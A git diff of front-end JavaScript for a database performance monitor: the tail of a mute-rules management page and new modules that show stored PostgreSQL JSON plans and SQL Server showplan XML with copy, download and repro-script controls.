+  if (isExpired(r)) return "Expired";
+  return r.enabled ? "Enabled" : "Paused";
+}
+
+function ruleRow(r, canEdit) {
+  const st = statusOf(r);
+  const scope = r.summary || "Every alert";
+  const cells = [
+    el("td", {}, [el("span", { class: st === "Enabled" ? "status-cell sev-Healthy" : "paused-badge", text: st })]),
+    el("td", { text: scope, title: r.server_id != null ? "server_id " + r.server_id : null }),
+    el("td", { text: r.reason || "—" }),
+    el("td", { text: r.expires_at_utc ? localTime(r.expires_at_utc) + (isExpired(r) ? " (expired)" : "") : "Never" }),
+    el("td", { text: r.created_at_utc ? localTime(r.created_at_utc) : "—" }),
+  ];
+  if (canEdit) {
+    cells.push(el("td", { class: "mute-actions" }, [
+      el("button", { class: "btn", type: "button", text: "Edit", onClick: () => openForm({ mode: "edit", id: r.id, original: r, values: valuesOf(r) }) }),
+      el("button", { class: "btn", type: "button", text: r.enabled ? "Pause" : "Enable", onClick: () => toggle(r) }),
+      el("button", { class: "btn", type: "button", text: "Delete", onClick: () => remove(r) }),
+    ]));
+  }
+  return el("tr", { "data-rule-id": r.id }, cells);
+}
+
+function valuesOf(r) {
+  const v = {};
+  for (const f of TEXT_FIELDS) v[f.key] = r[f.key] || "";
+  v[EXPIRY] = isoToLocalInput(r.expires_at_utc);
+  return v;
+}
+
+function notify(message, isError) {
+  if (live) mount(live.formBox, form ? [formNode(), el("div", { class: "strip " + (isError ? "error" : "notice"), text: message })] : [el("div", { class: "strip " + (isError ? "error" : "notice"), text: message })]);
+}
+
+async function toggle(r) {
+  const res = await setEnabled(r.id, !r.enabled);
+  if (res.kind !== "ok") return notify(res.message, true);
+  await refreshList(live);
+}
+
+async function remove(r) {
+  if (!window.confirm("Delete this mute rule permanently?\n\n" + (r.summary || "Every alert") + "\n\nPausing keeps the rule; deleting cannot be undone.")) return;
+  const res = await deleteRule(r.id);
+  if (res.kind !== "ok" && res.kind !== "notfound") return notify(res.message, true);
+  await refreshList(live);
+}
+
+/* ─────────────────────────── form ─────────────────────────── */
+
+function openForm(f) {
+  form = { errors: {}, banner: null, exists: null, confirmEmpty: false, ...f };
+  drawForm();
+}
+
+function drawForm() {
+  if (!live) return;
+  mount(live.formBox, form ? formNode() : []);
+}
+
+function closeForm() {
+  form = null;
+  /* Forget the deep link too, so clicking the same alert's Mute link again reopens the form. */
+  lastPrefillQuery = null;
+  /* The deep link stays in the address bar; drop it so the same Mute link is a real navigation next time. */
+  if (typeof window !== "undefined" && window.history && window.history.replaceState && String(window.location && window.location.hash).includes("?")) {
+    window.history.replaceState(null, "", "#/mute-rules");
+  }
+  drawForm();
+}
+
+function formNode() {
+  const fields = TEXT_FIELDS.map((f) => fieldRow(f.key, f.label, "text"));
+  fields.push(fieldRow(EXPIRY, "Expires (local time; blank = never)", "datetime-local"));
+  const empty = form.mode === "create" && isEmptyCreate(formToCreateBody(form.values));
+  return el("div", { class: "card mute-form" }, [
+    el("h3", { text: form.mode === "create" ? "New mute rule" : "Edit mute rule" }),
+    el("div", { class: "meta", text: "Alerts matching ALL filled fields are suppressed. Blank fields match anything." }),
+    form.banner ? el("div", { class: "strip error", text: form.banner }) : null,
+    form.exists ? existsNode() : null,
+    ...fields,
+    form.confirmEmpty && empty ? el("div", { class: "strip error", text: EMPTY_CREATE_WARNING }) : null,
+    el("div", { class: "form-actions" }, [
+      el("button", { class: "btn primary", type: "button", text: form.confirmEmpty && empty ? "Create anyway" : "Save", onClick: submit }),
+      el("button", { class: "btn", type: "button", text: "Cancel", onClick: closeForm }),
+    ]),
+  ]);
+}
+
+function existsNode() {
+  return el("div", { class: "strip notice" }, [
+    el("span", { text: form.exists.message + " " }),
+    form.exists.id ? el("button", { class: "btn", type: "button", text: "Go to that rule", onClick: goToExisting }) : null,
+  ]);
+}
+
+function goToExisting() {
+  const id = form.exists.id;
+  closeForm();
+  const row = live && live.listBox.querySelector('[data-rule-id="' + id + '"]');
+  if (row) {
+    row.classList.add("mute-rules-highlight");
+    if (row.scrollIntoView) row.scrollIntoView({ block: "center" });
+  }
+}
+
+function fieldRow(key, label, type) {
+  const input = el("input", { type, class: "mute-input", value: form.values[key] || "", "aria-label": label, "data-field": key });
+  input.addEventListener("input", () => {
+    form.values[key] = input.value;
+    form.confirmEmpty = false;
+  });
+  return el("label", { class: "mute-field" }, [
+    el("span", { class: "mute-label", text: label }),
+    input,
+    form.errors[key] ? el("span", { class: "mute-rules-field-error", text: form.errors[key] }) : null,
+  ]);
+}
+
+async function submit() {
+  form.errors = {};
+  form.banner = null;
+  form.exists = null;
+  let res;
+  if (form.mode === "create") {
+    const body = formToCreateBody(form.values);
+    /* The id keys the rule only while the name is the one the row carried; an edited name is a deliberate by-name rule. */
+    if (body[SERVER_ID] !== undefined && (form.values.server_name || "").trim() !== (form.idName || "")) delete body[SERVER_ID];
+    if (isEmptyCreate(body) && !form.confirmEmpty) {
+      form.confirmEmpty = true;
+      return drawForm();
+    }
+    res = await createRule(body);
+  } else {
+    const patch = buildPatch(form.original, form.values);
+    if (Object.keys(patch).length === 0) return closeForm();
+    res = await patchRule(form.id, patch);
+  }
+  if (res.kind === "ok") {
+    closeForm();
+    return refreshList(live);
+  }
+  if (res.kind === "invalid" && res.field) form.errors[res.field] = res.message;
+  else if (res.kind === "exists") form.exists = { id: res.existingId, message: res.message };
+  else form.banner = res.message;
+  drawForm();
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/pg-plan-viewer.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/pg-plan-viewer.js
new file mode 100644
index 0000000000..28f60d7ff7
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/pg-plan-viewer.js
@@ -0,0 +1,152 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+/* PostgreSQL captured-plan viewer (#5229): a "Plan" cell on a Captured Plans row that opens a panel showing that
+   row's stored, redacted auto_explain JSON as text - pretty-printed, with Copy and Download .json.
+
+   - The JSON is the row's OWN `plan` field from get_pg_plans. There is no second read, so there is no fetch here.
+   - This is a separate module from plan-viewer.js on purpose: that one fetches showplan XML and offers .sqlplan;
+     a PostgreSQL plan has no fetch, a different format and a different file type.
+   - The summary line comes from this capture's own figures; other captures of the same shape may differ.
+   - A Query Identifier inside the JSON is a 64-bit number that JSON.parse rounds in the browser. The grid's string
+     queryid is the exact one; the panel says so.
+   - XSS: everything is drawn through el() with text: or string children (textContent). Never any markup
+     sink or parser. The plan is untrusted content.
+ */
+
+import { el } from "../util.js";
+import { copyText, downloadText } from "../grid-tools.js";
+import { dockPanelUnderRow, undockPanel } from "../plan-row.js";
+
+const UNPARSED_NOTE = "This stored plan is not valid JSON (the log line may have been cut), so it is shown as stored and Download is off.";
+const CAPTURE_NOTE = "This capture's figures; other captures of the same shape may differ.";
+const QUERY_ID_NOTE = "Query ID is exact in the grid; a Query Identifier inside the JSON is a 64-bit number this page may round.";
+
+/** Which plan panels are open, keyed server|queryid|plan_hash, so a 60 s rebuild keeps them open. */
+const openPlans = new Set();
+
+const keyOf = (server, row) => [server, row.queryid ?? "", row.plan_hash ?? ""].join("|");
+
+export function resetPgPlanViewer() {
+  openPlans.clear();
+}
+
+export function openPgPlanKeys() {
+  return [...openPlans];
+}
+
+/** The plan as indented text. A string that parses is re-indented; one that does not is returned as stored. */
+export function prettyPrintPgPlan(plan) {
+  if (plan === null || plan === undefined) return "";
+  if (typeof plan === "string") {
+    try {
+      return JSON.stringify(JSON.parse(plan), null, 2);
+    } catch {
+      return plan;
+    }
+  }
+  return JSON.stringify(plan, null, 2);
+}
+
+const fmt = (n) => n.toLocaleString(undefined, { maximumFractionDigits: 2 });
+
+/** [{ label, value }] for the figures the plan actually carries; a missing figure is left out, never shown as 0. */
+export function pgPlanSummary(plan) {
+  if (!plan || typeof plan !== "object" || !plan.Plan || typeof plan.Plan !== "object") return [];
+  const root = plan.Plan;
+  const wanted = [
+    ["Total Cost", root["Total Cost"], ""],
+    ["Plan Rows", root["Plan Rows"], ""],
+    ["Actual Total Time", root["Actual Total Time"], " ms"],
+    ["Actual Rows", root["Actual Rows"], ""],
+    ["Planning Time", plan["Planning Time"], " ms"],
+    ["Execution Time", plan["Execution Time"], " ms"],
+  ];
+  return wanted.filter(([, v]) => typeof v === "number").map(([label, v, unit]) => ({ label, value: fmt(v) + unit }));
+}
+
+export function pgPlanFileName(row) {
+  const part = (v) => {
+    const s = v === null || v === undefined || v === "" ? "unknown" : String(v);
+    return s.replace(/[^A-Za-z0-9._-]/g, "_");
+  };
+  return "pg-plan-" + part(row.queryid) + "-" + part(row.plan_hash) + ".json";
+}
+
+function panelFor(row) {
+  const plan = row.plan;
+  const unparsed = typeof plan === "string";
+  const pretty = prettyPrintPgPlan(plan);
+  const status = el("span", { class: "grid-tools-status", role: "status", "aria-live": "polite" });
+
+  const copy = el("button", { type: "button", class: "grid-tool", text: "Copy" });
+  copy.addEventListener("click", async () => {
+    const out = await copyText(pretty);
+    status.textContent = out.message;
+  });
+
+  const download = el("button", { type: "button", class: "grid-tool", text: "Download .json" });
+  if (unparsed) {
+    download.disabled = true;
+    download.setAttribute("disabled", "");
+  } else {
+    download.addEventListener("click", () => {
+      try {
+        downloadText(pgPlanFileName(row), [pretty], "application/json");
+        status.textContent = "Downloaded " + pgPlanFileName(row) + ".";
+      } catch (e) {
+        status.textContent = "Download failed: " + (e && e.message ? e.message : "the browser refused it.");
+      }
+    });
+  }
+
+  const items = pgPlanSummary(plan);
+  const summary = items.length > 0
+    ? el("div", { class: "plan-summary" }, [
+        ...items.map((i) => el("span", { text: i.label + ": " + i.value })),
+        el("span", { class: "muted", text: CAPTURE_NOTE }),
+      ])
+    : null;
+  const hasQueryIdentifier = !unparsed && plan && typeof plan === "object" && Object.prototype.hasOwnProperty.call(plan, "Query Identifier");
+
+  return el("div", { class: "plan-panel" }, [
+    el("div", { class: "grid-tools" }, [copy, download, status]),
+    unparsed ? el("div", { class: "strip notice", text: UNPARSED_NOTE }) : null,
+    summary,
+    hasQueryIdentifier ? el("div", { class: "muted", text: QUERY_ID_NOTE }) : null,
+    el("pre", { class: "code plan-json", text: pretty }),
+  ]);
+}
+
+/** The Plan cell: a toggle button and, while open, the panel under it. "—" when the row carries no plan. */
+export function pgPlanCell(server, row) {
+  if (row.plan === null || row.plan === undefined || row.plan === "") return document.createTextNode("—");
+  const key = keyOf(server, row);
+  const host = el("div", { class: "plan-cell" });
+  const draw = () => {
+    while (host.firstChild) host.removeChild(host.firstChild);
+    const open = openPlans.has(key);
+    const button = el("button", { type: "button", class: "grid-tool", text: open ? "Hide plan" : "Plan" });
+    button.setAttribute("aria-expanded", open ? "true" : "false");
+    button.setAttribute("title", "Show the captured plan JSON");
+    button.addEventListener("click", () => {
+      if (openPlans.has(key)) openPlans.delete(key);
+      else openPlans.add(key);
+      draw();
+    });
+    host.appendChild(button);
+    if (open) dockPanelUnderRow(host, panelFor(row));
+    else undockPanel(host);
+  };
+  draw();
+  return host;
+}
+
+export function pgPlanColumn(server) {
+  return { key: "plan", label: "Plan", render: (row) => pgPlanCell(server, row), hideWhenEmpty: true, sortable: false, csv: false, filter: false, copy: false };
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/plan-viewer.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/plan-viewer.js
new file mode 100644
index 0000000000..2b611ebd7f
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/plan-viewer.js
@@ -0,0 +1,654 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+/* Stored plan viewer (#4843): a "Plan" action on a grid row. It reads the row's stored showplan XML and shows it,
+   indented, in a panel under the button, with Copy and Download .sqlplan. The XML is only ever drawn as text
+   (textContent of a <pre>), never as markup.
+
+   A row names its plan with a SOURCE (#5228): { kind, ...the row's own key }. SOURCES says, per kind, which read
+   answers it and how the key travels. The plan is fetched when the button is clicked and never carried in the
+   grid payload, which keeps the pages small. Key values go to the read exactly as the row holds them: a
+   timestamp is matched for equality in the store, so it is never put through a Date.
+
+   Which plans are open, and what they came back with, live at MODULE scope keyed by server + source, so the
+   page's 60 s rebuild draws the same panels open again instead of closing them. A read still in flight when its
+   cell is rebuilt reports to the new cell as well as the old one. */
+
+import { el, readTool } from "../util.js";
+import { copyText, downloadText } from "../grid-tools.js";
+import { dockPanelUnderRow, undockPanel } from "../plan-row.js";
+
+const NO_PLAN = "No stored plan was found for this query.";
+const TRUNCATED_NOTE =
+  "The stored plan is larger than the 500 KB the read returns, so it is cut off here. A cut-off plan will not open " +
+  "in a plan viewer, so Download is turned off; Copy still copies what is shown.";
+
+/* key -> { phase: "loading" | "done", result: { kind: "plan" | "none" | "error", ... } }. */
+const openPlans = new Map();
+/* key -> { phase: "loading" | "done", result: { kind: "script" | "none" | "error", ... } } for the Repro script under
+   an open plan panel (#5233). Same module-scope reason as openPlans: the 60 s rebuild draws it open again. */
+const openRepros = new Map();
+/* key -> Set of redraw functions, one per cell currently showing the key. */
+const views = new Map();
+/* The grid build a cell belongs to. Each plan column factory below runs once per grid build, so each call starts a new
+   generation, and a cell stamps its draw with the generation it registers under. `sweptGeneration` is the last one swept
+   (see dropOlderDetached). */
+let generation = 0;
+let sweptGeneration = 0;
+
+/* The plan sources. `read` is the tool; `params(source)` is its query (empty values are dropped by the read call);
+   `stem(source)` names a download. `query_hash` keeps its original panel key (server|database|hash) so a panel open
+   before this change stays the same panel. */
+const SOURCES = {
+  query_hash: {
+    read: "get_plan_xml",
+    params: (s) => ({ query_hash: s.query_hash, database_name: s.database_name || null }),
+    key: (s) => [s.database_name || "", s.query_hash],
+    stem: (s) => s.query_hash,
+    repro: true,
+    reproParams: (s) => ({ kind: "query_hash", query_hash: s.query_hash, database_name: s.database_name || null }),
+  },
+  active_snapshot: {
+    read: "get_active_query_plan_xml",
+    params: (s) => ({
+      collection_time: s.collection_time,
+      session_id: s.session_id,
+      request_id: s.request_id == null ? 0 : s.request_id,
+      live: s.live ? "true" : null,
+    }),
+    key: (s) => [s.collection_time, s.session_id, s.request_id == null ? 0 : s.request_id, s.live ? "live" : "est"],
+    stem: (s) => "active-" + s.session_id + "-" + s.collection_time + (s.live ? "-live" : ""),
+    /* The script is built from the row's stored text and its estimated plan; a live plan row sends no `live`. */
+    repro: true,
+    reproParams: (s) => ({
+      kind: "active_snapshot",
+      collection_time: s.collection_time,
+      session_id: s.session_id,
+      request_id: s.request_id == null ? 0 : s.request_id,
+    }),
+  },
+  query_store: {
+    read: "get_query_store_plan_xml",
+    params: (s) => ({ database_name: s.database_name, query_id: s.query_id, plan_id: s.plan_id == null ? null : s.plan_id }),
+    key: (s) => [s.database_name, s.query_id, s.plan_id == null ? "" : s.plan_id],
+    stem: (s) => "qs-" + s.database_name + "-" + s.query_id + (s.plan_id == null ? "" : "-" + s.plan_id),
+    repro: true,
+    reproParams: (s) => ({ kind: "query_store", database_name: s.database_name, query_id: s.query_id, plan_id: s.plan_id == null ? null : s.plan_id }),
+  },
+  procedure: {
+    read: "get_procedure_plan_xml",
+    params: (s) => ({ sql_handle: s.sql_handle }),
+    key: (s) => [s.sql_handle],
+    stem: (s) => s.sql_handle,
+  },
+  /* A blocked process report row (#5236) names the plan of one of its two sides by the report's event time (the XE
+     stamp, as the row holds it), both sessions' ids and ecids, and `side`. The blocked side is the read's default, so
+     it sends no `side`; a row's blocked and blocking plans are two panels. A missing ecid reads as 0, as the tool does.
+     The row's database goes with it: a server that collects several databases (an Azure master target) numbers sessions
+     per database, so two databases' reports can share every other part of the key. The database is in the panel key too,
+     so their rows never share a panel; a row without one sends none and keys with an empty slot. */
+  blocking: {
+    read: "get_blocking_plan_xml",
+    params: (s) => ({
+      event_time: s.event_time,
+      blocked_spid: s.blocked_spid,
+      blocked_ecid: s.blocked_ecid == null ? 0 : s.blocked_ecid,
+      blocking_spid: s.blocking_spid,
+      blocking_ecid: s.blocking_ecid == null ? 0 : s.blocking_ecid,
+      side: s.side === "blocking" ? "blocking" : null,
+      database_name: s.database_name || null,
+    }),
+    key: (s) => [
+      s.database_name || "",
+      s.event_time,
+      s.blocked_spid,
+      s.blocked_ecid == null ? 0 : s.blocked_ecid,
+      s.blocking_spid,
+      s.blocking_ecid == null ? 0 : s.blocking_ecid,
+      s.side === "blocking" ? "blocking" : "blocked",
+    ],
+    stem: (s) => (s.side === "blocking" ? "blocking-" + s.blocking_spid : "blocked-" + s.blocked_spid) + "-" + s.event_time,
+  },
+  /* A deadlock row's victim plan (#5236), by the row's collection and deadlock times. Neither stamp is unique on its own
+     (one monitor pass can report two deadlocks with the same millisecond), so the victim's process id narrows it; a row
+     without one reads by the two times alone, and the read refuses to pick when two deadlocks that name different victims
+     match. The row's database narrows it too, and keys the panel, for the same reason as a blocking row's. The download
+     name carries the victim, so two deadlocks with the same stamps do not download under one file name. */
+  deadlock_victim: {
+    read: "get_deadlock_plan_xml",
+    params: (s) => ({
+      collection_time: s.collection_time,
+      deadlock_time: s.deadlock_time,
+      victim_process_id: s.victim_process_id || null,
+      database_name: s.database_name || null,
+    }),
+    key: (s) => [s.database_name || "", s.collection_time, s.deadlock_time, s.victim_process_id || ""],
+    stem: (s) => "deadlock-victim-" + s.deadlock_time + (s.victim_process_id ? "-" + s.victim_process_id : ""),
+  },
+};
+
+/* A procedure has no `repro`: no query text is kept for one, so no script can be built. */
+
+/* A panel's key: server, then the kind (left out for query_hash, whose key never had one), then the kind's own parts, then
+   the source's `scope` when it has one. The kind in the key is what keeps two sources with equal-looking parts from sharing
+   a panel. The scope does the same for one plan opened from two places: the Query Store History table names its own panel
+   as the scope, so its Plan button opens its own cell and not the grid's Plan cell for that plan (#5234). The scope is
+   never sent to the read. */
+const keyOf = (server, source) => {
+  const parts = SOURCES[source.kind].key(source);
+  const scope = source.scope == null ? [] : ["@scope", source.scope];
+  return [server, ...(source.kind === "query_hash" ? [] : ["@" + source.kind]), ...parts, ...scope].join("|");
+};
+
+/** The state of every open panel, for tests: a copy, so the caller cannot change the module's. */
+export function openPlanKeys() {
+  return [...openPlans.keys()];
+}
+
+/** Forgets every open panel. Tests only; the page never needs it. */
+export function resetPlanViewer() {
+  openPlans.clear();
+  openRepros.clear();
+  views.clear();
+}
+
+/** How many cells are registered to redraw for each key, as { key: count }, for tests. */
+export function planViewerViewCounts() {
+  return Object.fromEntries([...views].map(([key, set]) => [key, set.size]));
+}
+
+/* Splits XML text into tags (quote-aware, so a ">" inside an attribute value such as StatementText does not end the
+   tag), comments, CDATA, processing instructions and text. Nothing is parsed into nodes and nothing is evaluated. */
+const TOKEN = /<!--[\s\S]*?-->|<!\[CDATA\[[\s\S]*?\]\]>|<\?[\s\S]*?\?>|<(?:[^>"']|"[^"]*"|'[^']*')*>|[^<]+/g;
+
+/**
+ * Indents XML text two spaces per level, one tag per line. An element whose only content is text stays on one line.
+ * Returns text; text that is not XML comes back as it was. The result is for display and copy only.
+ */
+export function prettyPrintXml(xml) {
+  const text = String(xml ?? "");
+  const tokens = text.match(TOKEN);
+  if (!tokens || !text.trimStart().startsWith("<")) return text;
+  const lines = [];
+  let depth = 0;
+  const push = (s) => lines.push("  ".repeat(Math.max(depth, 0)) + s);
+  for (let i = 0; i < tokens.length; i++) {
+    const t = tokens[i];
+    if (t[0] !== "<") {
+      if (t.trim()) push(t.trim());
+      continue;
+    }
+    if (t.startsWith("</")) {
+      depth--;
+      push(t);
+    } else if (t.startsWith("<!") || t.startsWith("<?") || t.endsWith("/>")) {
+      push(t);
+    } else {
+      /* An open tag, then text, then its close tag: one line. */
+      const body = tokens[i + 1];
+      const close = tokens[i + 2];
+      if (body && body[0] !== "<" && body.trim() && close && close.startsWith("</")) {
+        push(t + body.trim() + close);
+        i += 2;
+      } else {
+        push(t);
+        depth++;
+      }
+    }
+  }
+  return lines.join("\n");
+}
+
+/** The file name a plan downloads as: the source's stem (the query hash for a stored query), made safe for a file
+ *  name, plus .sqlplan. */
+export function planFileName(stem) {
+  return String(stem).replace(/[^A-Za-z0-9._-]/g, "_") + ".sqlplan";
+}
+
+/** The file name a repro script downloads as: the source's stem made safe for a file name, plus .sql. */
+export function reproFileName(stem) {
+  return String(stem).replace(/[^A-Za-z0-9._-]/g, "_") + ".sql";
+}
+
+const REVOKE_AFTER_MS = 10000;
+
+/** Hands the plan XML to the browser as a .sqlplan file. */
+export function downloadPlan(queryHash, xml) {
+  const blob = new Blob([xml], { type: "application/xml" });
+  const url = URL.createObjectURL(blob);
+  const a = document.createElement("a");
+  a.href = url;
+  a.download = planFileName(queryHash);
+  a.style.display = "none";
+  document.body.appendChild(a);
+  a.click();
+  document.body.removeChild(a);
+  setTimeout(() => URL.revokeObjectURL(url), REVOKE_AFTER_MS);
+}
+
+function redraw(key) {
+  const set = views.get(key);
+  if (!set) return;
+  for (const draw of [...set]) {
+    if (draw.host && draw.host.isConnected === false) set.delete(draw);
+    else draw();
+  }
+  if (set.size === 0) views.delete(key);
+}
+
+/* Runs when the first cell of a generation registers: every draw of an OLDER generation whose cell has left the page goes,
+   under whatever key. redraw() prunes only the key it is called for, and a row nobody clicks (or one that has left the grid)
+   never reaches it, so without this each rebuild would leave a cell per row in the set for the life of the page (#5234).
+   The generation is what makes this safe: the cells of the build in progress are not on the page yet (the grid is attached
+   after its rows are drawn) and are never dropped here, and a cell of an older build that is still on the page stays too. */
+const dropOlderDetached = () => {
+  for (const [key, set] of views) {
+    for (const draw of [...set]) {
+      if (draw.generation < generation && draw.host && draw.host.isConnected === false) set.delete(draw);
+    }
+    if (set.size === 0) views.delete(key);
+  }
+};
+
+/* What every plan read answers (the web route's wrapper around the DarlingMcpPlanTools reads): JSON { <the key it was
+   read by>, plan_xml, truncated } for a stored plan (`truncated` is decided on the server), or a status envelope
+   ("unavailable" / "not_collected") when there is no plan, which arrives as kind "empty". */
+
+/** Turns a read result into { kind: "plan" | "none" | "error", ... }, or null when the read was abandoned. */
+export function classifyPlanRead(res) {
+  if (!res || res.kind === "aborted" || res.kind === "auth") return null;
+  const text = typeof res.message === "string" ? res.message : "";
+  if (res.kind === "data" && res.data && typeof res.data.plan_xml === "string") {
+    return { kind: "plan", xml: res.data.plan_xml, truncated: res.data.truncated === true };
+  }
+  if (res.kind === "error") return { kind: "error", message: text || "The plan could not be read." };
+  if (res.kind === "empty") return { kind: "none", message: text || NO_PLAN };
+  return { kind: "none", message: NO_PLAN };
+}
+
+/* What get_query_repro_script answers: JSON { kind, <the key>, plan_found, script } for a script, or a status envelope
+   ("unavailable" / "not_collected") when no query text is stored, which arrives as kind "empty". */
+const NO_REPRO = "No stored query text was found, so no repro script can be built.";
+
+/** Turns a repro read result into { kind: "script" | "none" | "error", ... }, or null when the read was abandoned. */
+export function classifyReproRead(res) {
+  if (!res || res.kind === "aborted" || res.kind === "auth") return null;
+  const text = typeof res.message === "string" ? res.message : "";
+  if (res.kind === "data" && res.data && typeof res.data.script === "string") {
+    return { kind: "script", script: res.data.script, planFound: res.data.plan_found === true };
+  }
+  if (res.kind === "error") return { kind: "error", message: text || "The repro script could not be built." };
+  return { kind: "none", message: text || NO_REPRO };
+}
+
+async function loadRepro(key, server, source) {
+  let res;
+  try {
+    res = await readTool("get_query_repro_script", { server, ...SOURCES[source.kind].reproParams(source) });
+  } catch (e) {
+    res = { kind: "error", message: e && e.message ? e.message : String(e) };
+  }
+  if (!openRepros.has(key)) return; // closed while the read was out
+  const outcome = classifyReproRead(res);
+  if (outcome === null) openRepros.delete(key);
+  else openRepros.set(key, { phase: "done", result: outcome });
+  redraw(key);
+}
+
+/** Opens the Repro script under a plan panel, or closes it if it is already open. */
+export function toggleRepro(server, source) {
+  const key = keyOf(server, source);
+  if (openRepros.has(key)) {
+    openRepros.delete(key);
+    redraw(key);
+    return;
+  }
+  openRepros.set(key, { phase: "loading" });
+  redraw(key);
+  return loadRepro(key, server, source);
+}
+
+function reproPanel(key, stem) {
+  const state = openRepros.get(key);
+  if (state.phase === "loading") return el("div", { class: "repro-panel" }, [el("div", { class: "strip loading", text: "Building the repro script..." })]);
+  const r = state.result;
+  if (r.kind !== "script") {
+    return el("div", { class: "repro-panel" }, [el("div", { class: r.kind === "error" ? "strip error" : "strip empty", text: r.message })]);
+  }
+  const status = el("span", { class: "grid-tools-status", role: "status", "aria-live": "polite" });
+  const copy = el("button", { type: "button", class: "grid-tool", text: "Copy" });
+  copy.addEventListener("click", async () => {
+    const out = await copyText(r.script);
+    status.textContent = out.message;
+  });
+  const download = el("button", { type: "button", class: "grid-tool", text: "Download .sql" });
+  download.addEventListener("click", () => {
+    try {
+      downloadText(reproFileName(stem), [r.script], "application/sql");
+      status.textContent = "Downloaded " + reproFileName(stem) + ".";
+    } catch (e) {
+      status.textContent = "Download failed: " + (e && e.message ? e.message : "the browser refused it.");
+    }
+  });
+  return el("div", { class: "repro-panel" }, [
+    el("div", { class: "grid-tools" }, [copy, download, status]),
+    r.planFound ? null : el("div", { class: "strip notice", text: "No stored plan was found, so the parameters could not be extracted. The script has the query text only." }),
+    el("pre", { class: "code repro-sql", text: r.script }),
+  ]);
+}
+
+async function load(key, server, source) {
+  const spec = SOURCES[source.kind];
+  let res;
+  try {
+    res = await readTool(spec.read, { server, ...spec.params(source) });
+  } catch (e) {
+    res = { kind: "error", message: e && e.message ? e.message : String(e) };
+  }
+  if (!openPlans.has(key)) return; // closed while the read was out
+  const outcome = classifyPlanRead(res);
+  if (outcome === null) openPlans.delete(key);
+  else openPlans.set(key, { phase: "done", result: outcome });
+  redraw(key);
+}
+
+/** Opens the plan panel for a source, or closes it if it is already open. */
+export function openPlanSource(server, source) {
+  const key = keyOf(server, source);
+  if (openPlans.has(key)) {
+    openPlans.delete(key);
+    openRepros.delete(key);
+    redraw(key);
+    return;
+  }
+  openPlans.set(key, { phase: "loading" });
+  redraw(key);
+  return load(key, server, source);
+}
+
+/** Opens the stored-plan panel for a query, or closes it if it is already open. */
+export function openStoredPlan(server, queryHash, database) {
+  return openPlanSource(server, { kind: "query_hash", query_hash: queryHash, database_name: database || null });
+}
+
+function reproButton(key, server, source) {
+  const reproOpen = openRepros.has(key);
+  const repro = el("button", {
+    type: "button",
+    class: "grid-tool",
+    text: reproOpen ? "Hide repro" : "Repro script",
+    "aria-expanded": reproOpen ? "true" : "false",
+    title: "Build a T-SQL repro script from the stored query text and plan",
+  });
+  repro.addEventListener("click", () => toggleRepro(server, source));
+  return repro;
+}
+
+function panelFor(key, stem, server, source) {
+  const state = openPlans.get(key);
+  const status = el("span", { class: "grid-tools-status", role: "status", "aria-live": "polite" });
+  if (state.phase === "loading") return el("div", { class: "plan-panel" }, [el("div", { class: "strip loading", text: "Loading the stored plan..." })]);
+  const r = state.result;
+  if (r.kind === "none" && SOURCES[source.kind].repro) {
+    /* No stored plan, but the repro is still built from the stored query text (plan-less), as the Viewer does. */
+    return el("div", { class: "plan-panel" }, [
+      el("div", { class: "grid-tools" }, [reproButton(key, server, source), status]),
+      openRepros.has(key) ? reproPanel(key, stem) : null,
+      el("div", { class: "strip empty", text: r.message }),
+    ]);
+  }
+  if (r.kind !== "plan") {
+    return el("div", { class: "plan-panel" }, [el("div", { class: r.kind === "error" ? "strip error" : "strip empty", text: r.message })]);
+  }
+  const copy = el("button", { type: "button", class: "grid-tool", text: "Copy" });
+  const pretty = prettyPrintXml(r.xml);
+  copy.addEventListener("click", async () => {
+    const out = await copyText(pretty);
+    status.textContent = out.message;
+  });
+  const download = el("button", { type: "button", class: "grid-tool", text: "Download .sqlplan" });
+  if (r.truncated) {
+    download.disabled = true;
+    download.setAttribute("disabled", "");
+  } else {
+    download.addEventListener("click", () => {
+      try {
+        downloadPlan(stem, r.xml);
+        status.textContent = "Downloaded " + planFileName(stem) + ".";
+      } catch (e) {
+        status.textContent = "Download failed: " + (e && e.message ? e.message : "the browser refused it.");
+      }
+    });
+  }
+  const tools = [copy, download];
+  if (SOURCES[source.kind].repro) tools.push(reproButton(key, server, source));
+  tools.push(status);
+  return el("div", { class: "plan-panel" }, [
+    el("div", { class: "grid-tools" }, tools),
+    openRepros.has(key) ? reproPanel(key, stem) : null,
+    r.truncated ? el("div", { class: "strip notice", text: TRUNCATED_NOTE }) : null,
+    el("pre", { class: "code plan-xml", text: pretty }),
+  ]);
+}
+
+/**
+ * The Plan cell for a plan source: a button, and the panel under it while that source's plan is open. A null source
+ * (a row that has no key to read by) is a dash. `label` is the button text (default "Plan"); `title` its tooltip.
+ */
+export function planSourceCell(server, source, label, title) {
+  if (!source) return document.createTextNode("—");
+  const spec = SOURCES[source.kind];
+  const key = keyOf(server, source);
+  const stem = spec.stem(source);
+  const text = label || "Plan";
+  const host = el("div", { class: "plan-cell" });
+  const draw = () => {
+    while (host.firstChild) host.removeChild(host.firstChild);
+    const isOpen = openPlans.has(key);
+    const button = el("button", {
+      type: "button",
+      class: "grid-tool",
+      text: isOpen ? "Hide plan" : text,
+      "aria-expanded": isOpen ? "true" : "false",
+      title: title || "Show the stored plan for this row",
+    });
+    button.addEventListener("click", () => openPlanSource(server, source));
+    host.appendChild(button);
+    if (isOpen) dockPanelUnderRow(host, panelFor(key, stem, server, source));
+    else undockPanel(host);
+  };
+  draw.host = host;
+  draw.generation = generation;
+  if (sweptGeneration !== generation) {
+    sweptGeneration = generation;
+    dropOlderDetached();
+  }
+  if (!views.has(key)) views.set(key, new Set());
+  views.get(key).add(draw);
+  draw();
+  return host;
+}
+
